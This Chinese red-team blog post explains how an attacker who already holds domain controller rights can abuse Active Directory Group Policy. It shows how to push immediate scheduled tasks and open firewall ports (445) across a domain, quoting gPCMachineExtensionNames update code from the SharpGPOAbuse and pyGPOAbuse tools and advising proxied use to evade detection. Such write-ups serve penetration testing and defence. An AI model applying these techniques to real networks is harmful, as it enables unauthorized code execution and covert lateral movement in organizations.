本文作者:Z1NG(信安之路核心作者)
Group Policy Objects 是用于存储 Active Directory 中的策略,便于管理域中的计算机和用户。值得注意的是,默认情况,域用户的组策略是 90 分钟更新一次,有 0-30 分钟的随机偏移,域控的则为 5 分钟更新一次。通过组策略可以下发计划任务,更新防火墙配置等等操作。
图形化下发组策略
在域控上通过组策略管理工具可以轻松的建立一个组策略,并且设定该组策略对特定组生效。此处以建立一个计划任务为例,简单演示如何建立组策略。
不同类型的组策略会生成不同的配置文件,如:计划任务的 schedule.xml,防火墙的 registry.pol。
命令行下通过组策略下发计划任务
通过上文所介绍的可以发现,域控下发组策略后实质上的内容是各个配置文件里的内容,通过替换已有的配置文件就可以完成下发特定的计划任务。总的来说,命令行下通过组策略下发计划任务有三种。
1.新建一个组策略
PowerView 中的 “New-GPOImmediateTask” 就可以完成组策略的创建,并执行一个立即执行的计划任务。比较简单,不展开说明。
2.修改已有的计划任务组策略
查找域中已有的计划任务组策略,然后修改 schedule.xml,并更新 GPT.ini 里的版本信息,而后等待或者手动输入 “gpupdate”。也比较简单。
3.修改已有的组策略
这条似乎和 2 是一样的,但其实不一样。2 是指得是一个组策略中本来就包含有计划任务,而 3 说的是一个组策略中本身并无计划任务,例如是一个防火墙组策略。此时会发现通过添加 schedule.xml 文件的方式,加入的计划任务并不生效,三好学生师傅提及过此问题:
https://3gstudent.github.io/backup-3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8GPO%E4%B8%AD%E7%9A%84%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C/)。
三好学生师傅的解决方案是通过备份正常的组策略,然后提取里面的”注册信息”添加进自定义的组策略计划任务之中。但通过自己的实践发现,不成功的原因是出在gPCMachineExtensionNames
。
gPCMachineExtensionNames 必须设置成与我们修改的相应的 GUID。GUID 列表:
https://blogs.technet.microsoft.com/mempson/2010/12/01/group-policy-client-side-extension-list/
F-secure 给出示例代码,是通过 C# 编写的,其中的功能之一就是添加一个立即运行的计划任务:
https://labs.f-secure.com/tools/sharpgpoabuse
在添加gPCMachineExtensionNames
存在一定的细节,具体代码如下。
// update gPCMachineExtensionNames
String val1 = "";
String val2 = "";
if (function == "AddLocalAdmin" || function == "AddNewRights" || function == "NewStartupScript")
{
if (function == "AddLocalAdmin" || function == "AddNewRights")
{
val1 = "827D319E-6EAC-11D2-A4EA-00C04F79F83A";
val2 = "803E14A0-B4FB-11D0-A0D0-00A0C90F574B";
}
if (function == "NewStartupScript")
{
val1 = "42B5FAAE-6536-11D2-AE5A-0000F87571E3";
val2 = "40B6664F-4972-11D1-A7CA-0000F87571E3";
}
try
{
if (!entryToUpdate.Properties[gPCExtensionName].Value.ToString().Contains(val2))
{
if (entryToUpdate.Properties[gPCExtensionName].Value.ToString().Contains(val1))
{
string ent = entryToUpdate.Properties[gPCExtensionName].Value.ToString();
//Console.WriteLine("[!] DEBUG: Old gPCMachineExtensionNames: " + ent);
List<string> new_values = new List<string>();
String addition = val2;
var test = ent.Split('[');
foreach (string i in test)
{
new_values.Add(i.Replace("{", "").Replace("}", " ").Replace("]", ""));
}
//new_values.Add(addition);
for (var i = 1; i < new_values.Count; i++)
{
if (new_values[i].Contains(val1))
{
//Console.WriteLine(new_values[i]);
List<string> toSort = new List<string>();
string[] test2 = new_values[i].Split();
for (var f = 1; f < test2.Length; f++)
{
//Console.WriteLine(test2[f]);
toSort.Add(test2[f]);
}
toSort.Add(addition);
toSort.Sort();
new_values[i] = test2[0];
foreach (string val in toSort)
{
new_values[i] += " " + val;
}
}
}
List<string> new_values2 = new List<string>();
for (var i = 0; i < new_values.Count; i++)
{
if (string.IsNullOrEmpty(new_values[i])) { continue; }
string[] value1 = new_values[i].Split();
string new_val = "";
for (var q = 0; q < value1.Length; q++)
{
if (string.IsNullOrEmpty(value1[q])) { continue; }
new_val += "{" + value1[q] + "}";
}
new_val = "[" + new_val + "]";
new_values2.Add(new_val);
}
String final = string.Join("", new_values2.ToArray());
//Console.WriteLine("[!] DEBUG: New gPCMachineExtensionNames: " + final);
entryToUpdate.Properties[gPCExtensionName].Value = final;
}
else
{
string ent = entryToUpdate.Properties[gPCExtensionName].Value.ToString();
//Console.WriteLine("[!] DEBUG: Old gPCMachineExtensionNames: " + ent);
List<string> new_values = new List<string>();
String addition = val1 + " " + val2;
var test = ent.Split('[');
foreach (string i in test)
{
new_values.Add(i.Replace("{", "").Replace("}", " ").Replace("]", ""));
}
new_values.Add(addition);
new_values.Sort();
List<string> new_values2 = new List<string>();
for (var i = 0; i < new_values.Count; i++)
{
if (string.IsNullOrEmpty(new_values[i])) { continue; }
string[] value1 = new_values[i].Split();
string new_val = "";
for (var q = 0; q < value1.Length; q++)
{
if (string.IsNullOrEmpty(value1[q])) { continue; }
new_val += "{" + value1[q] + "}";
}
new_val = "[" + new_val + "]";
new_values2.Add(new_val);
}
String final = string.Join("", new_values2.ToArray());
//Console.WriteLine("[!] DEBUG: New gPCMachineExtensionNames: " + final);
entryToUpdate.Properties[gPCExtensionName].Value = final;
}
}
else
{
//Console.WriteLine("[!] DEBUG: the value of gPCMachineExtensionNames was already set.");
}
}
// the following will execute when the gPCMachineExtensionNames is <not set>
catch
{
entryToUpdate.Properties[gPCExtensionName].Value = "[{" + val1 + "}{" + val2 + "}]";
}
}
需要注意的是 SharpGPOAbuse 修改了目标组策略的gPCMachineExtensionNames
,所以在完成计划任务执行的时候,应该将组策略还原回去,但该项目并没有提供该功能。
这里比较推荐的是 pyGPOAbuse :
https://github.com/Hackndo/pyGPOAbuse
这个项目,实现上使用了 Impacket 库,可以通过流量代理的方式进行利用。这样的好处是利用工具可以不用落地目标机器,规避检测。同样的在添加gPCMachineExtensionNames
是遵循一定规则,具体不展开讲。
def update_extensionNames(self, extensionName):
val1 = "00000000-0000-0000-0000-000000000000"
val2 = "CAB54552-DEEA-4691-817E-ED4A4D1AFC72"
val3 = "AADCED64-746C-4633-A97C-D61349046527"
if extensionName is None:
extensionName = ""
try:
if not val2 in extensionName:
new_values = []
toUpdate = extensionName
test = toUpdate.split("[")
for i in test:
new_values.append(i.replace("{", "").replace("}", " ").replace("]", ""))
if val1 not in toUpdate:
new_values.append(val1 + " " + val2)
elif val1 in toUpdate:
for k, v in enumerate(new_values):
if val1 in new_values[k]:
toSort = []
test2 = new_values[k].split()
for f in range(1, len(test2)):
toSort.append(test2[f])
toSort.append(val2)
toSort.sort()
new_values[k] = test2[0]
for val in toSort:
new_values[k] += " " + val
if val3 not in toUpdate:
new_values.append(val3 + " " + val2)
elif val3 in toUpdate:
for k, v in enumerate(new_values):
if val3 in new_values[k]:
toSort = []
test2 = new_values[k].split()
for f in range(1, len(test2)):
toSort.append(test2[f])
toSort.append(val2)
toSort.sort()
new_values[k] = test2[0]
for val in toSort:
new_values[k] += " " + val
new_values.sort()
new_values2 = []
for i in range(len(new_values)):
if new_values[i] is None or new_values[i] == "":
continue
value1 = new_values[i].split()
new_val = ""
for q in range(len(value1)):
if value1[q] is None or value1[q] == "":
continue
new_val += "{" + value1[q] + "}"
new_val = "[" + new_val + "]"
new_values2.append(new_val)
return "".join(new_values2)
except:
return "[{" + val1 + "}{" + val2 + "}]" + "[{" + val3 + "}{" + val2 + "}]"
组策略下发防火墙策略
一个场景,已有域控权限,但由于域防火墙的存在无法访问目标组或者人的机器。此时就可以用组策略来下发防火墙策略。组策略的防火墙配置文件存放于对应组策略文件夹中的registry.pol中
可以用两种方式来修改这个文件,一种是将目标文件下载回来,放到自己的域环境下修改,保存后,再放回目标域控。
第二种是通过LGPO.exe将Registry.pol文件解析成文本文件,然后修改后还原成Registry.pol文件。
然后按照格式辑文本文件,红框中是新增的开放445的测试。接着还原成Registry.pol导入域控 。就可以看到新增的防火墙策略了。
总结
简单总结一下:
-
有域控权限,才可以利用 GPO。
-
GPO 不仅可以计划任务还可以操作防火墙等其他功能。
-
找到想要针对的目标组所含有的组策略。
-
记得修改
gPCMachineExtensionNames
,这个就类似文件的拓展名,没有加对拓展利用无法成功。 -
记得修改 GPT.ini 版本号,版本没更新的情况下域用户不会强制同步更新组策略。
-
善用 LDAP 查询域内信息。
潦草一记录,很多细节没有展开。
原文始发于微信公众号(信安之路):域环境权限提升中组策略的简单使用